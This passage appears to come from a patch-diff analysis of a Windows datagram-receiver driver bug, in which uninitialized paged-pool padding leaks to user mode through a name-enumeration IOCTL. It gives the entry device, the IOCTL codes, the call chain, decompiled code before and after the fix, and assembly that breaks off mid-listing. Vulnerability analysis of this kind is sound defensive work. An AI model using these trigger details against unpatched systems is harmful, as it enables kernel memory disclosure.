&lt;code&gt;MaximumLength&lt;/code&gt; at &lt;code&gt;0x2a&lt;/code&gt; and &lt;code&gt;Buffer&lt;/code&gt; at &lt;code&gt;0x30&lt;/code&gt;), and the 4-byte gap at &lt;code&gt;0x3C-0x3F&lt;/code&gt; (between the dword at &lt;code&gt;0x38&lt;/code&gt; and the inline buffer at &lt;code&gt;0x40&lt;/code&gt;). Both retain stale paged-pool contents. When a name is later enumerated, the worker copies the 16-byte name &lt;code&gt;UNICODE_STRING&lt;/code&gt; block at offsets &lt;code&gt;0x28-0x37&lt;/code&gt; verbatim into each output record; that 16-byte copy includes the uninitialized &lt;code&gt;0x2C-0x2F&lt;/code&gt; bytes, which are then forwarded to the caller's output buffer. The &lt;code&gt;0x3C-0x3F&lt;/code&gt; gap is not read by the enumeration path and is not shown to reach user mode. The patch inserts &lt;code&gt;memset(buffer, 0, NameLength + 0x42)&lt;/code&gt; immediately after each allocation, so the disclosed bytes read as zero.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attacker Entry Point:&lt;/strong&gt; &lt;code&gt;\Device\LanmanDatagramReceiver&lt;/code&gt; via NtDeviceIoControlFile.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Call Chain:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;User-mode process opens &lt;code&gt;\Device\LanmanDatagramReceiver&lt;/code&gt; and calls &lt;code&gt;DeviceIoControl&lt;/code&gt; / &lt;code&gt;NtDeviceIoControlFile&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;BowserFsdDeviceIoControlFile&lt;/code&gt; (0x1c0010ad0) receives the &lt;code&gt;IRP_MJ_DEVICE_CONTROL&lt;/code&gt; IRP.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;BowserCommonDeviceIoControlFile&lt;/code&gt; (0x1c0010b60) computes &lt;code&gt;IoControlCode - 0x130007&lt;/code&gt; at &lt;code&gt;0x1c0010f86&lt;/code&gt; and performs the indirect switch jump at &lt;code&gt;0x1c0010fa9&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;IoControlCode &lt;code&gt;0x13000C&lt;/code&gt; reaches the &lt;code&gt;AddBowserName&lt;/code&gt; case at &lt;code&gt;0x1c00111e1&lt;/code&gt; and calls &lt;code&gt;AddBowserName&lt;/code&gt; (0x1c0012330) at &lt;code&gt;0x1c0011253&lt;/code&gt;, which allocates the structure and leaves the gaps uninitialized. The same allocation-without-zeroing pattern exists in &lt;code&gt;BowserAllocateName&lt;/code&gt; (0x1c0017718) and &lt;code&gt;AsyncCreateTransportName&lt;/code&gt; (0x1c000f4d0).&lt;/li&gt;
&lt;li&gt;IoControlCode &lt;code&gt;0x130017&lt;/code&gt; reaches the &lt;code&gt;EnumNames&lt;/code&gt; case at &lt;code&gt;0x1c0011197&lt;/code&gt; and calls &lt;code&gt;EnumNames&lt;/code&gt; (0x1c0019e50) at &lt;code&gt;0x1c00111bf&lt;/code&gt; → &lt;code&gt;BowserEnumerateNamesInDomain&lt;/code&gt; (0x1c0017a7c) → &lt;code&gt;EnumerateNamesTransportNameWorker&lt;/code&gt; (0x1c0017bf0), which copies the name &lt;code&gt;UNICODE_STRING&lt;/code&gt; (including the &lt;code&gt;0x2C-0x2F&lt;/code&gt; gap) into the user-mode output buffer.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3. Pseudocode Diff&lt;/h3&gt;
&lt;p&gt;Below is the core allocation logic in the vulnerable functions. The unpatched version selectively writes to a newly allocated buffer, whereas the patched version inserts a &lt;code&gt;memset&lt;/code&gt; before writing.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// UNPATCHED BowserAllocateName @ 0x1C0017718 (decompilation)&lt;/span&gt;
&lt;span class="n"&gt;PoolWithTag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PagedPool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SourceString&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;66L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x6E62424Cu&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;PoolWithTag&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PoolWithTag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// *** MISSING: no memset(PoolWithTag, 0, SourceString-&amp;gt;Length + 66) here ***&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;PoolWithTag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4194310&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;// offset 0x00 (0x400006)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;PoolWithTag&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="c1"&gt;// offset 0x04&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ... list linkage at 0x08/0x10, list head at 0x18/0x20 ...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;56&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;// offset 0x38&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// offset 0x30 -&amp;gt; inline buffer at 0x40&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_WORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SourceString&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// offset 0x2a (MaximumLength)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;RtlCopyUnicodeString&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;PUNICODE_STRING&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SourceString&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// sets Length@0x28, name@0x40&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// UNICODE_STRING padding at 0x2C-0x2F and the gap at 0x3C-0x3F are never written&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// PATCHED BowserAllocateName @ 0x1C0017738 (decompilation)&lt;/span&gt;
&lt;span class="n"&gt;PoolWithTag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PagedPool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SourceString&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;66L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x6E62424Cu&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;PoolWithTag&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PoolWithTag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PoolWithTag&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SourceString&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;66L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// *** NEW: zeros entire allocation ***&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4194310&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ... identical field initialization follows ...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;4. Assembly Analysis&lt;/h3&gt;
&lt;p&gt;The vulnerability is evident in the assembly of &lt;code&gt;BowserAllocateName&lt;/code&gt; @ &lt;code&gt;0x1c0017718&lt;/code&gt;. The function requests pool memory and immediately begins initializing fields without zeroing it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Unpatched Vulnerable Assembly:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mh"&gt;0x1c0017788&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NameLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;UNICODE_STRING&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1c001778b&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x6e62424c&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pool&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;LBbn&amp;#39;&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0017791&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x42&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NameLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x42&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;total&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;alloc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0017795&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PoolType&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0017797&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rel 0x1c000c018&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PagedPool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;LBbn&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1c001779e&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;nop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax+rax&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00177a3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;allocated&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00177a6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00177a9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jne&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mh"&gt;0x1c00177b5&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;If&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;success&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jump&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;initialization&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=====&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;VULNERABILITY&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;NO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HERE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=====================&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00177b5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x400006&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;buf+0x00&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;initialized&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00177bb&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rel 0x1c00094a0&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;
&lt;span class="mh"&gt;0x1c00177c2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax+0x4&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;buf+0x04&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;initialized&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00177c5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+0x8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;
